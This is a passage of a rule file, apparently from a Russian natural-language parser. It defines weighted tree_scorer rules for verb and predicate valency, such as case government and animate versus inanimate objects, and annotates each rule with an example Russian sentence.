if context { rus_verbs:обвести{}.<OBJECT>*:*{ падеж:вин } }
then 1
}
// Олег хмуро окинул взглядом убитого.
// ^^^^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:окинуть{}.<OBJECT>*:*{ падеж:вин } }
then 1
}
// мои предки построили его собственными руками.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:построить{}.<OBJECT>НеодушОбъект{ падеж:вин } }
then 5
}
// иначе им грозит беда.
// ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:грозить{}.<OBJECT>*:*{ падеж:дат } }
then 1
}
// Джим поискал глазами своего коня.
// ^^^^^^^ ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:поискать{}.<OBJECT>ОдушОбъект{ падеж:вин } }
then 1
}
// вера дает им силу.
// ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:давать{}.<OBJECT>*:*{ падеж:дат } }
then 1
}
// им дорого обойдется сегодняшний бой.
// ^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:обойтись{}.<OBJECT>*:*{ падеж:дат } }
then 1
}
// киммериец молча пожал ей руку.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пожать{}.{ <OBJECT>ОдушОбъект{ падеж:дат } <OBJECT>НеодушОбъект{ падеж:вин } } }
then 1
}
// ей ответил пронзительный яростный визг.
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:ответить{2}.<OBJECT>местоимение:я{ 1 падеж:дат } }
then 1
}
// Он ответил Джо
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:ответить{1}.<OBJECT>ОдушОбъект{ 2 падеж:дат } }
then 2
}
// зачем давать им пустую надежду.
// ^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пожать{}.{ <OBJECT>ОдушОбъект{ падеж:дат } <OBJECT>НеодушОбъект{ падеж:вин } } }
then 2
}
// тебе следовало оставить ей записку.
// ^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:оставить{}.{ <OBJECT>ОдушОбъект{ падеж:дат } <OBJECT>НеодушОбъект{ падеж:вин } } }
then 2
}
// маленький желтый череп улыбнулся ей.
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:улыбнуться{1}.<OBJECT>ОдушОбъект{ 2 падеж:дат } }
then 2
}
// Томас швырнул ей птицу.
// ^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:швырнуть{1}.{ <OBJECT>ОдушОбъект{ 2 падеж:дат } <OBJECT>*:*{ падеж:вин } } }
then 2
}
// дом чрезвычайно понравился ей.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:понравиться{}.<OBJECT>ОдушОбъект{ падеж:дат } }
then 2
}
// меч им явно нравился.
// ^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:нравиться{}.<OBJECT>ОдушОбъект{ падеж:дат } }
then 2
}
// некоторым действительно нравится моя работа.
// ^^^^^^^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:нравиться{}.<OBJECT>прилагательное:*{ падеж:дат число:мн ~краткий } }
then 4
}
// лунный свет помогал им.
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:помогать{}.<OBJECT>*:*{ падеж:дат } }
then 3
}
// им необходимо было помочь.
// ^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:помочь{}.<OBJECT>ОдушОбъект{ падеж:дат } }
then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:помогать{}.<OBJECT>ОдушОбъект{ падеж:дат } }
then 2
}
// мой отец убит им.
// ^^^^^^^
tree_scorer language=Russian
{
if context { прилагательное:убитый{}.<OBJECT>*:*{ падеж:твор } }
then 1
}
// ей надо уйти отсюда.
// ^^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:надо{}.{ ОдушОбъект{ падеж:дат } инфинитив:*{} } }
then 1
}
// ей вдруг захотелось уйти.
// ^^^ ^^^^^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:захотелось{}.{ ОдушОбъект{ падеж:дат } инфинитив:*{} } }
then 1
}
// капитан пожал им руки.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пожать{}.{ <OBJECT>*:*{ падеж:дат } <OBJECT>НеодушОбъект{ падеж:вин } } }
then 2
}
// хозяин жеребца снова закричал. (закричать можно ЧТО-ТО, но не КОГО-ТО)
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:закричать{}.<OBJECT>ОдушОбъект{ падеж:вин } }
then -100
}
// ей явно понравился ответ.
// ^^ ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:понравиться{}.<OBJECT>ОдушОбъект{ падеж:дат } }
then 1
}
// остальным предстояло помогать им.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:помогать{}.<OBJECT>ОдушОбъект{ падеж:дат } }
then 1
}
// им стало вдруг зябко.
// ^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:стало{}.ОдушОбъект{ падеж:дат } }
then 1
}
// нам стало жалко бедного котенка
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:жалко{}.ОдушОбъект{ падеж:дат } }
then 2
}
// император осторожно коснулся пальцами белой перчатки.
// ^^^^^^^^ ^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:коснуться{}.<OBJECT>*:*{ падеж:род } }
then 1
}
// обычно ПРОТЯНУТЬ кому-то, а не чему-то:
// тот протянул руку помощи.
// ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:протянуть{}.<OBJECT>НеодушОбъект{ падеж:дат } }
then -5
}
// возле всякой двери тебя ждала такая же ловушка.
// ^^^^^^^^^^
// однако сперва ее ждало глубокое разочарование.
// ^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:ждать{}.<OBJECT>местоимение:я{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:подождать{}.<OBJECT>местоимение:я{ падеж:вин } } then 2 }
// однако ему удалось открыть нечто интересное.
// ^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:открыть{}.<OBJECT>НеодушОбъект{ падеж:вин } }
then 1
}
// однако название мне удалось прочитать.
// ^^^^^^^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:прочитать{}.<OBJECT>НеодушОбъект{ падеж:вин } }
then 1
}
// пройти можно ЧТО-ТО:
// ты уже прошел его так много раз.
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пройти{}.<OBJECT>ОдушОбъект{ падеж:вин } }
then -1
}
/*
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пройти{}.<OBJECT>НеодушОбъект{ падеж:вин } }
then 1
}
*/
// злость прошла довольно давно.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пройти{}.<SUBJECT>НеодушОбъект }
then 1
}
// затем стал внимательно изучать глаз юноши.
// ^^^^^^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:изучать{}.<OBJECT>*:*{ падеж:вин } }
then 2
}
// комната ожидания полна народу.
// ^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { прилагательное:полный{ краткий }.существительное:*{ падеж:род } }
then 1
}
tree_scorer language=Russian
{
if context { прилагательное:полный{ краткий }.существительное:*{ падеж:парт } }
then 1
}
// развалиться на части
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:развалиться{}.'на'.'части'{ падеж:вин } }
then 2
}
// ВЗЯТЬ можно КОМУ-ТО, а не ЧЕМУ-ТО:
// полковник взял микрофон внутренней связи.
// ^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:взять{}.<OBJECT>НеодушОбъект{ падеж:дат } }
then -5
}
// оставался единственный способ проверить корабль.
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:проверить{}.<OBJECT>*:*{ падеж:вин } }
then 1
}
// ТРЕБОВАТЬ можно кому-то, а не чему-то:
// моя месть требует радости охоты.
// ^^^^^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:требовать{}.<OBJECT>НеодушОбъект{ падеж:дат } }
then -5
}
// ПРОДОЛЖИТЬ можно ЧТО-ТО неодушевленное:
// вскоре отряд продолжил путь.
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:продолжить{}.<OBJECT>НеодушОбъект{ падеж:вин } } then 1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:продолжить{}.<OBJECT>ОдушОбъект{ падеж:вин } } then -1 }
// Ломать душу
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:ломать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:ломать{}.<OBJECT>НеодушОбъект{ падеж:вин } } then 1 }
// я доволен им
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { прилагательное:довольный{ краткий }.<OBJECT>*:*{ падеж:твор } }
then 2
}
// Обычно получить можно кому-то, а не чему-то:
// поэтому хотим получить максимум информации.
// ^^^^^^^^ ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:получить{}.<OBJECT>НеодушОбъект{ падеж:дат } }
then -2
}
// пришла пора сделать следующий шаг.
// ^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:прийти{}.<SUBJECT>существительное:пора{}.инфинитив:*{} }
then 1
}
// убить КОГО-ТО:
// ты должен его убить!
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:убить{}.<OBJECT>НеодушОбъект{ падеж:вин } } then -1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:убивать{}.<OBJECT>НеодушОбъект{ падеж:вин } } then -1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:убить{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:убивать{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 2 }
// мне едва удалось его спасти.
// ^^^ ^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:удалось{}.<SUBJECT>ОдушОбъект{ падеж:дат } }
then 2
}
// им удалось вытащить его из озера.
// ^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:удалось{}.<SUBJECT>*:*{ падеж:дат } }
then 1
}
// ЕДА не может быть продавцом:
// В булочной продают хлеб, булки, печенье.
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:продавать{}.<SUBJECT>существительное:*{ <в_класс>существительное:еда{} } }
then -100
}
// ОБЪЯСНИТЬ можно обычно кому-то:
// происхождение информации объясню позднее.
// ~~~~~~~~~~ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:объяснить{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:объяснить{}.<OBJECT>ОдушОбъект{ падеж:дат } } then 1 }
#region СОЗДАВАТЬ
// если получатель действия находится слева от глагола, то штрафуем:
// банки памяти создавали самую большую проблему.
// ^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:создавать{ 2 }.<OBJECT>*:*{ падеж:дат 1 } }
then -1
}
// Но компенсируем предыдущее правило, если получатель - одушевленный:
// нам создали тепличные условия
// ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:создавать{ 2 }.<OBJECT>ОдушОбъект{ падеж:дат 1 } }
then 1
}
#endregion СОЗДАВАТЬ
// Обычно ПОКАЗАТЬСЯ можно КОМУ-ТО:
// показалась машина местной полиции.
// ^^^^^^^^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:показаться{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -1 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:показаться{}.<OBJECT>ОдушОбъект{ падеж:дат } } then 1 }
// БЕЖАТЬ можно чем-то неодушевленным, например - БЕРЕГОМ:
// бегущим по берегу псом
// ^^^^^^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:бежать{}.<OBJECT>ОдушОбъект{ падеж:твор } } then -100 }
// Чтобы подавить распознавание существительным "БЫЛЬ":
// "Обвиняемые были освобождены в зале суда"
// ^^^^^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { глагол:быть{ 2 }.<SUBJECT>прилагательное:*{ падеж:им ~краткий степень:атриб 1 } }
then 2
}
// ПОИСКАТЬ обычно можно КОМУ-ТО:
// Давайте поищем примеры реализации этой функции
// ^^^^^^ ~~~~~~~~~~ ~~~~~~~
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:поискать{}.<OBJECT>НеодушОбъект{ падеж:дат } }
then -1
}
// Обычно ПРИХОДИТ КОМУ-ТО, а неодушевленный реципиент возможет лишь в
// особых оборотах типа КОНЕЦ ПРИШЕЛ ЭТОЙ АФЕРЕ.
// неизвестно откуда пришло вдруг чувство опасности.
// ^^^^^^ ~~~~~~~~~
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:прийти{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -3 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:придти{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -3 }
// советую вам исправить свою ошибку.
// ^^^^^^^ ^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:советовать{}.<OBJECT>ОдушОбъект{ падеж:дат } }
then 2
}
// Подавим связывание ПРИШЛО и ПОЗАБОТИТЬСЯ исходя из того, что обычно
// только одушевленные субъекты приходят сделать что-то:
// однако пришло время позаботиться о собственной безопасности.
// ^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:придти{}.{ <SUBJECT>НеодушОбъект инфинитив:*{} } } then -1 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:прийти{}.{ <SUBJECT>НеодушОбъект инфинитив:*{} } } then -1 }
// Зайти можно КОМУ-ТО
// сам зашел снаружи конструкции противника.
// ^^^^^ ~~~~~~~~~~~
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:зайти{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -1 }
// обычно глагол ЗАНЯТЬ идет с винительным дополнением:
// эти приготовления заняли целый день.
// ^^^^^^ ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:занять{}.<OBJECT>*:*{ падеж:вин } } then 1 }
// Сжать обычно можно КОМУ-ТО:
// Олег изо всех сил сжал челюсти.
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:сжать{}.<OBJECT>НеодушОбъект{ падеж:дат } } then -1 }
// после начала битвы прошли считанные секунды.
// ^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:пройти{}.<SUBJECT>ИнтервалВремени{ ПАДЕЖ:ИМ } }
then 1
}
// желаю тебе найти принца.
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:желать{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:ДАТ } }
then 1
}
// Он рекомендовал мне сделать это.
// ^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:рекомендовать{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:ДАТ } }
then 1
}
// Он угрожал мне бросить работу.
// ^^^^^^^ ^^^ ~~~~~~~
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:угрожать{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:ДАТ } }
then 1
}
// позволю себе напомнить историю вопроса.
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:позволить{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:ДАТ } }
then 1
}
// Олег хмуро окинул взглядом убитого.
// ^^^^^^ ^^^^^^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:окинуть{}.{ <OBJECT>*:*{ ПАДЕЖ:ВИН } <OBJECT>'взглядом' } }
then 1
}
// где же моя благодарность?
// ^^^^^^ ^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { наречие:где{}.{ частица:же{} существительное:*{ падеж:им } } }
then 1
}
// кому хочется есть
// ^^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:хочется{}.<SUBJECT>ОдушОбъект{ ПАДЕЖ:ДАТ } }
then 1
}
// нам нужно только доставить его туда.
// ^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:нужно{}.<SUBJECT>ОдушОбъект{ ПАДЕЖ:ДАТ } }
then 2
}
// ТОРЖЕСТВОВАТЬ можно ЧТО-ТО неодушевленное:
// Весь день и весь вечер шумел и торжествовал народ по всему королевству
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:торжествовать{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:ВИН } }
then -100
}
// МЕШАТЬ кому-то ДЕЛАТЬ что-то
// страх мешал ей плакать.
// ^^^^^ ^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:мешать{}.{ <OBJECT>ОдушОбъект{ ПАДЕЖ:ДАТ } инфинитив:*{} } }
then 2
}
// ПОВТОРИТЬ можно обычно КОМУ-ТО, а не ЧЕМУ-ТО
// мастер песни повторил вопрос.
// ~~~~~ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:повторить{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ } }
then -10
}
// вскоре подошел поезд метро.
// ^^^^^^^ ~~~~~
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:подойти{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ } }
then -10
}
// ОТКРЫВАТЬСЯ можно обычно КОМУ-ТО
// новый мир открывался после каждой мили пути.
// ^^^^^^^^^^ ~~~~
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:открываться{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ } }
then -10
}
// Обычно СЛОЙ покрывает что-то, даже если порядок слов обратный нормальному:
// пол покрывал толстый слой пыли.
// ^^^^^^^^ ^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:покрывать{}.{ <SUBJECT>существительное:слой{} НеодушОбъект{ ПАДЕЖ:ВИН } } }
then 2
}
// Ей нравится ходить туда.
// ^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:нравилось{}.<SUBJECT>*:*{ ПАДЕЖ:ДАТ } }
then 2
}
// оставался единственный способ проверить корабль.
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:проверить{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } }
then 2
}
// кому вы отдали его?
// ^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:*{}.<OBJECT>'кому'{ падеж:дат class:местоим_сущ } }
then 2
}
// кому может понадобиться старая чужая лодка?
// ^^^^ ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { инфинитив:*{}.<OBJECT>'кому'{ падеж:дат class:местоим_сущ } }
then 2
}
// Не смей мне врать!
// ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:врать{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:ДАТ } }
then 2
}
// меня все здесь боятся!
// ^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:бояться{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:ВИН } }
then 1
}
// Он мучает её своим бесчувствием.
// ^^^^^^ ^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:мучить{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } }
then 1
}
// почему ты позволил им упасть?
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:позволить{}.<OBJECT>*:*{ падеж:дат } }
then 2
}
// разве обычные люди могут читать мысли?
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:читать{}.<OBJECT>НеодушОбъект{ падеж:вин } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:читать{}.<OBJECT>ОдушОбъект{ падеж:дат } }
then 1
}
// НАЗЫВАТЬ обычно идет с винительным дополнением:
// все его называют сегодня мальчиком.
// ^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:называть{}.<OBJECT>*:*{ падеж:вин } }
then 2
}
// Подавляем присоединение послелогов к существительным:
// недалеко от него лежал человек лицом вниз.
// ~~~~~~~ ^^^^^^^^^^
tree_scorer language=Russian { if context { существительное:*{}.послелог:вниз{} } then -10 }
tree_scorer language=Russian { if context { существительное:*{}.послелог:вверх{} } then -10 }
tree_scorer language=Russian { if context { существительное:*{}.послелог:вперед{} } then -10 }
// Показывать на одушевленного (вин) - это важно, если объект несклоняемый:
// Вадим показал на Элен
// ^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:показать{}.предлог:на{}.ОдушОбъект{ падеж:вин } }
then 1
}
// пора им всем возвращаться домой.
// ~~~~~~~ ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:возвращаться{}.ОдушОбъект{ падеж:твор } }
then -10
}
// мама души не чаяла в своих детях
// ~~~~ ^^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:чаять{}.<OBJECT>существительное:душа{} }
then 30
}
// Комар носа не подточит.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:подточить{}.{ частица:не{} <OBJECT>существительное:нос{} } }
then 30
}
/*
// с тех пор ты видел его всего несколько раз.
// ^^^^^^^^^^^^^^^^^^^
tree_scorer language=Russian
{
if context { наречие:всего{}.наречие:несколько{}.существительное:раз{} }
then 2
}
*/
// Руперт вопреки себе улыбнулся.
// ^^^^^^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{}.предлог:вопреки{} }
then 2
}
// вам следует проверить Марину согласно инструкции.
// ^^^^^^^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic { if context { глагол:*{}.предлог:согласно{} } then 2 }
tree_scorer ВалентностьГлагола language=Russian generic { if context { инфинитив:*{}.предлог:согласно{} } then 2 }
// убийство для них естественно.
tree_scorer language=Russian { if context { прилагательное:естественный{}.предлог:для{} } then 2 }
// Пусть предложное дополнение с У присоединяется к глаголу, а не к существительному:
// ноги у меня болели.
// ^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian generic { if context { глагол:*{}.предлог:у{} } then 2 }
tree_scorer ВалентностьГлагола language=Russian generic { if context { инфинитив:*{}.предлог:у{} } then 2 }
// Антон ее так назвал.
// ^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:назвать{}.<OBJECT>*:*{ падеж:вин } }
then 1
}
// Наречие ЧАСТО служит косвенным признаком изъявительной, а не императивной формы глагола:
// ты часто ешь хлеб
// ^^^
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{ наклонение:побуд }.наречие:часто{} }
then -2
}
// Наречие ОЧЕНЬ служит косвенным признаком изъявительной, а не императивной формы глагола:
// вы очень любите ягоды
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{ наклонение:побуд }.наречие:очень{} }
then -2
}
// несколько дней спустя путников ожидал приятный сюрприз.
// ^^^^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:ожидать{}.ОдушОбъект{ ПАДЕЖ:ВИН } }
then 1
}
// ПРИВЛЕЧЬ обычно можно КОГО-ТО одушевленного:
// Его привлекли к ответственности за нарушение порядка.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:привлечь{}.ОдушОбъект{ ПАДЕЖ:ВИН } }
then 1
}
// Его целый год держали в тюрьме.
// ^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:держать{}.<OBJECT>*:*{ ПАДЕЖ:ВИН } }
then 4
}
// ОБЕЩАТЬ КОМУ-ТО СДЕЛАТЬ что-то:
// ты обещал мне показать корабль!
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:обещать{}.{ <OBJECT>ОдушОбъект{ПАДЕЖ:ДАТ} инфинитив:*{} } }
then 2
}
// чиновник приказал ему открыть два кожаных мешка.
// ^^^^^^^^ ^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:приказать{}.{ <OBJECT>ОдушОбъект{ПАДЕЖ:ДАТ} инфинитив:*{} } }
then 5
}
// ++++++++++++++++++++++++++++++++++++++++
// мне обещали все вернуть назад
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:обещать{}.{ <OBJECT>ОдушОбъект{ПАДЕЖ:ДАТ} инфинитив:*{} } }
then 5
}
// ++++++++++++++++++++++++++++++++++++++++
// мне обещали все вернуть назад
// Его гордость не позволяла ему просить об одолжении.
// ^^^^^^^^^ ^^^ ^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:позволять{}.{ <OBJECT>ОдушОбъект{ПАДЕЖ:ДАТ} инфинитив:*{} } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:позволить{}.{ <OBJECT>ОдушОбъект{ПАДЕЖ:ДАТ} инфинитив:*{} } } then 2 }
// такое устройство для моих целей бесполезно.
// ~~~~~~~~~~ ^^^ ^^^^^^^^^^
tree_scorer language=Russian { if context { прилагательное:бесполезный{}.предлог:для{} } then 2 }
// ДАТЬ отчет можно обычно КОМУ-ТО, а не чему-то:
// Он дал подробный отчёт о своей поездке.
// ^^^ ^^^^^ ~~~~~~~
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:дать{}.{ <OBJECT>существительное:отчет{} <OBJECT>НеодушОбъект{ПАДЕЖ:ДАТ} } }
then -10
}
// отстегнуть маме денег
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:отстегнуть{}.{ <OBJECT>НеодушОбъект{ падеж:род } <OBJECT>ОдушОбъект{ПАДЕЖ:ДАТ} } }
then 5
}
// все вас боятся
// ~~~~~~~
tree_scorer language=Russian
{
if context { 'вас'.'все'{class:прилагательное} }
then -100
}
// Я работаю учителем в сельской школе
// ^^^^^^^ ^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:работать{}.предлог:в{}.*:*{падеж:предл} } then 2 }
// небеса для меня закрыты.
// ^^^ ^^^^^^^^
tree_scorer language=Russian { if context { прилагательное:закрытый{}.предлог:для{} } then 2 }
// Это такое трудное слово, что он не может его запомнить.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:запомнить{}.<OBJECT>*:*{ падеж:вин } } then 2 }
// Его утомляла долгая ходьба.
// ^^^ ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:утомлять{}.ОдушОбъект{ падеж:вин } } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:утомить{}.ОдушОбъект{ падеж:вин } } then 2 }
// но где удалось его добыть?
// ^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:добыть{}.НеодушОбъект{ падеж:вин } } then 2
}
// кладбище от моря довольно далеко
// ~~~~~~~~ ^^ ^^^^^^
tree_scorer language=Russian { if context { прилагательное:далекий{}.предлог:от{} } then 2 }
// мы внедряем в жизнь идеи великих ученых
// ^^^^^^^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:внедрять{}.<OBJECT>НеодушОбъект{ПАДЕж:ВИН} } then 2 }
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:внедрить{}.<OBJECT>НеодушОбъект{ПАДЕж:ВИН} } then 2 }
// неужели разговор его окончательно сломал?
// ^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian { if context { rus_verbs:сломать{}.<OBJECT>*:*{ПАДЕж:ВИН} } then 2 }
